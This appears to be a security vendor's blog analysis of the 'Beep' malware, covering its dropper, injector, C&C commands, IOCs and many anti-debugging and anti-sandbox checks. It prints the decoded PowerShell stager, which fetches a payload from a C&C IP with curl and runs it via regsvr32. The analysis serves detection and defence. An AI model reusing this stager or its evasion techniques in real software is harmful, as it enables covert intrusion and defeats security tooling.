# Beepin’ Out of the Sandbox: Analyzing a New, Extremely Evasive Malware **[minerva-labs.com/blog/beepin-out-of-the-sandbox-analyzing-a-new-extremely-evasive-malware/](https://minerva-labs.com/blog/beepin-out-of-the-sandbox-analyzing-a-new-extremely-evasive-malware/)** Blog Natalie Zargarov | 13.02.23 | 8 Minutes Read Last week we discovered several new samples that were similar to each other and uploaded to VirusTotal (VT) in a form of .dll, .gif or .jpg files. They all were tagged as ‘spreader’ and ‘detect-debug-environment’ by VT and caught our attention because they appeared to drop files, but those files could not be retrieved from VT. _Figure 1 – VT – Uploaded samples_ Once we dug into this sample, we observed the use of a significant amount of evasion techniques. It seemed as if the authors of this malware were trying to implement as many anti-debugging and anti-VM (anti-sandbox) techniques as they could find. One such ----- technique involved delaying execution through the use of the Beep API function, hence the malware’s name. ## Dropper After performing anti-debugging and anti-vm checks, the malware dropper (big.dll) creates _“\Sessions\2\BaseNamedObjects\{8B30B3CD-2068-4F75-AB1F-FCAE6AF928B6}” mutex. It_ then creates a new registry key ‘HKCU\SOFTWARE\nonresistantOutlivesDictatorial’ and sets a new value named ‘AphroniaHaimavati’. The newly created value contains base64 data which decrypts to: _“$nonresistantOutlivesDictatorial =_ _“$env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll”;md_ _$env:APPDATA\Microsoft\nonresistantOutlivesDictatorial;Start-Process (Get-Command_ _curl.exe).Source -NoNewWindow -ArgumentList ‘–url_ _https://37.1.215.220/messages/DBcB6q9SM6 -X POST –insecure –output ‘,_ _$nonresistantOutlivesDictatorial;Start-Sleep -Seconds 40;$ungiantDwarfest = Get-Content_ _$env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll | %_ _{[Convert]::FromBase64String($_)};Set-Content_ _$env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll -Value_ _$ungiantDwarfest -Encoding Byte;regsvr32 /s_ _$env:APPDATA\Microsoft\nonresistantOutlivesDictatorial\AphroniaHaimavati.dll;”_ This is a PowerShell script that saves data to AphroniaHaimavati.dll using curl.exe, and then executes it with regsvr32.exe. Big.dll creates a scheduled task named after the mutex created earlier. This task runs every 13 minutes and executes the PowerShell scripts stored in the registry: _Figure 2 – Scheduled task_ ## Injector The purpose of the newly downloaded and executed AphroniaHaimavati.dll is to re-verify that it is not being debugged or running in a virtual environment by using additional antidebugging and anti-vm techniques. The dropper injects its malicious payload into a legitimate WWAHost.exe (a Windows Wrap-Around Metro App Host) windows process using ----- the [Process Hollowing injection technique. The malware sets explorer.exe as the parent of](https://minerva-labs.com/blog/malware-evasion-memory-injection/) WWAHost.exe by adding the parent attribute to the process. Futher details of this technique [can be found here.](https://scorpiosoftware.net/2021/01/10/parent-process-vs-creator-process/) **Injected Payload** Not surprisingly, this stage implements several evasion techniques, including the same ones used previously by the dropper. After all evasions are completed, the malware creates the mutex ‘\Sessions\2\BaseNamedObjects\{99C10657-633C-4165-9D0A-082238CB9FE0}’. Next, it collects the victim’s information to be sent to the C&C server in JSON format: _“{“uuid”: “uuid“,_ _“stream”: “bb_d2@T@dd48940b389148069ffc1db3f2f38c0e”,_ _“os_version”: “victims_os_version including build number“,_ _“product_number”: 48,_ _“username”: “username retrieved by using GetUserNameW API function“,_ _“pc_name”: “computer name retrieved by using GetComputerNameW API function“,_ _“cpu_name”: “cpu_name“,_ _“arch”: “system architecture (x64/x86)“,_ _“pc_uptime”: 38209906,_ _“gpu_name”: “gpu name retrieved by EnumDisplayDevicesW API function“,_ _“ram_amount”: “ram amount retrieved by using GlobalMemoryStatusEx API function”,_ _“screen_resolution”: “screen resolution“,_ _“version”: “0.1.7”, – possibly the malwares version_ _“av_software”: “unknown“,_ _“domain_name”: “”,_ _“domain_controller_name”: “unknown“,_ _“domain_controller_address”: “unknown“}”_ While the data collected would lead us to think that the malware checks which AV software is running on the victim’s machine, we did not find any AV check implementations in the code. ----- _Figure 3 – Json with collect data._ The malware adds to the collected data “user_id=Him3xrn9e&team_id=JqLtxw1h” and then encrypts the entire string before sending it to the C&C server. However, by the time of our analysis, the C&C was already down and sending requests to it failed. Despite this, the malware continued to collect more data, even after 120 failed attempts to send the data. In the sample analyzed, the malware used CreateToolhelp32Snapshot, Process32FirstW and Process32NextW API functions to enumerate processes and collect their names and PIDs: _Figure 4 – Partial process list collected by the malware._ The process list was attempted to be sent to the other C&C URL (hxxps[:]//37.1.215.220/messages/ADXDAG6). ----- Even though we could not continue to analyze the attack flow because the C&C went down, we were still able to identify several commands that we assume the malware can accept from C&C server: balancer – not implemented yet. init – not implemented yet. screenshoot – appears to collect the process list. task – not implemented yet. destroy – not implemented yet. shellcode – executes additional shellcode. dll – executes a dll file. exe – executes a .exe file. Additional – collects additional info. knock_timeout – changes C&C “keep-alive” intervals. It’s worth noting that the injected code also has Process Hollowing capability. We assume that both, .exe and .dll files may be injected into another legitimate process. ## Evasion Techniques The Beep malware implements several evasion techniques, which it uses numerous times throughout execution. These techniques include: ----- **Dynamic string deobfuscation – a technique widely used by threat actors to prevent** important strings from being easily recovered. Mostly used for hiding imports, Beep copies hardcoded obfuscated hex bytes into the memory and then deobfuscates them with xor/sub/add/not assembly instructions. _Figure 5 – String Deobfuscation using add instruction._ **Default Language check – A technique mostly used by authors from the former Soviet** Union countries to evade infecting unwanted systems. Beep uses the GetUserDefaultLangID API function to retrieve the language identifier and check if it represents the following languages: a. 419 – Russian b. 422 – Ukrainian c. 423 – Belarusian d. 428 – Tajik e. 424 – Slovenian f. 437 – Georgian g. 43F – Kazakh h. 843 – Uzbek (Cyrillic) **Assembly implementation of the IsDebuggerPresent API function – This** determines whether the current process is being debugged by a user-mode debugger by checking the BeingDebugged flag of the Process Environment Block (PEB). **NtGlobalFlag field anti-debugging – determines if the process was created by the** [debugger. More information can be found here.](https://anti-debug.checkpoint.com/techniques/debug-flags.html#manual-checks-ntglobalflag) ----- _Figure 6 – NtGlobalFlag anti-debugging implementation_ **RDTSC instruction – this instruction is used to determine how many CPU ticks have** taken place since the processor was reset. This can also be used as an anti-debugging technique. The most common way to use this is to get the current timestamp using the instruction, save it in a register, then get another timestamp and check if the delta between the two is below the number of ticks that were pre-defined by the author. _Figure 7 – RDTSC instructions anti-debugging_ **Stack Segment Register – This is used to detect if the program is being traced. After** single-stepping in a debugger through the ‘push ss pop ss pushf’ instructions, the [Trap Flag will be set.](https://en.wikipedia.org/wiki/Trap_flag) _Figure 8 – Stack Segment Register anti-debugging._ **CPUID anti-vm – The malware uses the cpuid instruction with EAX=40000000 as input** The return value will be the Hypervisor Brand string, and then it checks if it contains a part of the word ‘VMware’. ----- _Figure 9 – CPUID check_ **VBOX registry key anti-vm – The malware uses RegOpenKeyExW API function to** check if the HKLM\HARDWARE\ACPI\DSDT\VBOX__ registry key exists. **Beep API function anti-sandbox – Malware usually uses the Sleep API function to** delay execution and avoid detection by sandboxes. In this case, the malware uses the [Beep Windows API function. Accordign to MSDN: “Generates simple tones on the](https://learn.microsoft.com/en-us/windows/win32/api/utilapiset/nf-utilapiset-beep) speaker. The function is synchronous; it performs an alertable wait and does not return control to its caller until the sound finishes”. This function will suspend the execution of the malware, achieving the same effect as the Sleep API function. The injector (AphroniaHaimavati.dll) implements additional less widely used evasion techniques: **INT 3 anti-debugging – The INT 3 assembly instruction is an interruption used as a** software breakpoint. Without a debugger present, after reaching the INT3 instruction, the exception EXCEPTION_BREAKPOINT (0x80000003) is generated, and an exception handler is called. If a debugger is present, the control is wi not given to the exception handler. _Figure 10 – INT 3 assembly instruction_ **INT 2D anti-debugging – Similar to the INT 3 technique above, but in the case of INT** 2D, the exception address is set to the EIP register and then the EIP register value is incremented. Some debuggers might have problems because after the EIP is incremented, the byte following the INT2D instruction will be skipped, potentially continuing execution from the damaged instruction. ----- _Figure 11 – INT 2D assembly instruction_ **CheckRemoteDebuggerPresent() API anti-debugging – This determines if a** debugger is attached to the current process. **IsDebuggerPresent() API anti-debugging – This determines whether the current** process is being debugged by a user-mode debugger. **ProcessDebugPort anti-debugging – determines the port number of the debugger for** the process using the NtQueryInformationProcess(). **VirtualAlloc() / GetWriteWatch() anti-debugging – A rarely used anti-debugging** technique that causes the system to keep track of the pages that are written to the committed memory region. This can be abused to detect debuggers and hooks that modify memory outside the expected pattern. More on this technique can be found [here.](https://anti-debug.checkpoint.com/techniques/misc.html#getwritewatch) **OutputDebugString() anti-debugging – This function is used to detect a debugger.** The technique is simple: one can call OutputDebugString to pass a string to the debugger. If a debugger is attached, then when the user code is returned, the value in EAX will be a valid address inside the process’s address space. **QueryPerformanceCounter() and GetTickCount64() anti-debugging – When a** process is being traced in a debugger, there is a noticeable delay between instructions and execution. The “native” delay between certain parts of code can be measured and compared with the actual delay. **Summary** The new Beep malware’s efforts to evade detection set it apart from other malware. The sheer number of evasive techniques it implements to avoid sandboxes, VMs, and other debugging techniques is not often seen. Once this malware successfully penetrates a system, it can easily download and spread a wide range of additional malicious tools, including ransomware, making it extremely dangerous. ## Minerva Prevention Minerva Armor’s [Anti Ransomware solution easily prevents this malware in its early stages.](https://minerva-labs.com/armor-platform/armor/) In fact, Minerva Armor works best against malware when it tries to implement evasive techniques to remain undetected. The more evasive the malware, the easier it is for Minerva to stop it ----- _Figure 12 – Prevention_ IOCs Hashes: ab5dc89a301b5296b29da8dc088b68d72d8b414767faf15bc45f4969c6e0874e – big.dll 59F42ECDE152F78731E54EA27E761BBA748C9309A6AD1C2FD17F0E8B90F8AED1 – AphroniaHaimavati.dll IP: 37.1.215.220 Mutexes: \Sessions\2\BaseNamedObjects\{8B30B3CD-2068-4F75-AB1F-FCAE6AF928B6} \Sessions\2\BaseNamedObjects\{99C10657-633C-4165-9D0A-082238CB9FE0} Resources https://anti-debug.checkpoint.com/ -----